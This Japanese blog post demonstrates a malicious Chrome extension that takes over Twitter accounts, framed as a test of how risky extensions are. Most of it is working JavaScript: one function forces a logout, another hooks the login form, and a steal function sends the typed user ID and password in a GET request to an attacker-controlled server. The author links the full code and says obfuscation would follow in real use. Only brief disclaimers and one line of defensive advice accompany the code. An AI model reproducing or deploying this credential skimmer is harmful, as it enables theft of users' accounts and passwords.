Chrome拡張の悪用の危険性を試す

はじめに

前にChrome拡張のマルウェア疑惑で話題になっていたので、今更ですが、その危険性を試してみました。

悪用はしないでください。

Chrome拡張を用いたTwitterアカウントの奪取

身近なTwitterアカウントの奪取を試します。

詳細は書きませんがmanifest.jsonのcontent_scriptsを使います。

アカウントを取る方法は、対象ユーザがログインした瞬間を狙います。
ですが、すでにログインしている可能性が高いので下記のようなコードで強制ログアウトさせます。

demo.js

/**
 * twitterを強制ログアウト
 */
function logout() {
    var signout_btn = document.querySelector('#signout-button .dropdown-link')

    if(signout_btn)
        signout_btn.click()
}

ログアウトさせたら、ログインの瞬間発火するイベントにコールバック関数を登録します。
steal関数は、テキストボックスの値（user_id & password）を取得し、指定のwebサーバにリクエストを送っています。

demo.js

/**
 * アカウントの奪取を待機
 */
function listen() {
    var submit = document.querySelector('.submit')
    ,   id     = document.getElementsByName('session[username_or_email]')[0]
    ,   passwd = document.getElementsByName('session[password]')[0]

    submit.addEventListener('click', steal, false)

    id.addEventListener('keydown', function(e) {
        if(e.keyCode === 13)
            steal()
    }, false)

    passwd.addEventListener('keydown', function(e) {
        if(e.keyCode === 13)
            steal()
    }, false)
}

/**
 * アカウントの奪取
 */
function steal() {
    var id     = document.getElementsByName('session[username_or_email]')[0]
    ,   passwd = document.getElementsByName('session[password]')[0]

    id     = id.value
    passwd = passwd.value

    var img = new Image()
    img.src = host + '?id=' + id + '&passwd=' + passwd

    // cookie書き込み
    var expire = new Date();
    expire.setTime(expire.getTime() + 1000 * 3600 * 24);
    document.cookie = 'hack=hack; expires=' + expire.toUTCString();
}

今回は、PHPのビルドインサーバーをwebサーバーとします。
対象ユーザがログインすると、ユーザIDとパスワードがGETパラメータとして送られてきます。

とても簡単なステップでアカウントの奪取ができました。
対象のユーザにChrome拡張をインストールさえ、させることができればやりたい放題できそうですね。
実際には、ここから難読化とかするんでしょうが、今回は自身で試すだけなのでやりません。

さいごに

怪しいChrome拡張をインストールしないようにする対策としては、怪しい権限を要求するものはインストールしないとか実際にコードを読むとかでしょうか...

なんども言いますが、今回は危険性を試す為のものなので悪用はしないでください。

manifest.jsonなどは排除していますが、今回のコードは
https://github.com/yuki540net/chrome-extension-security
にあります。

コードを確認したい場合はご覧ください。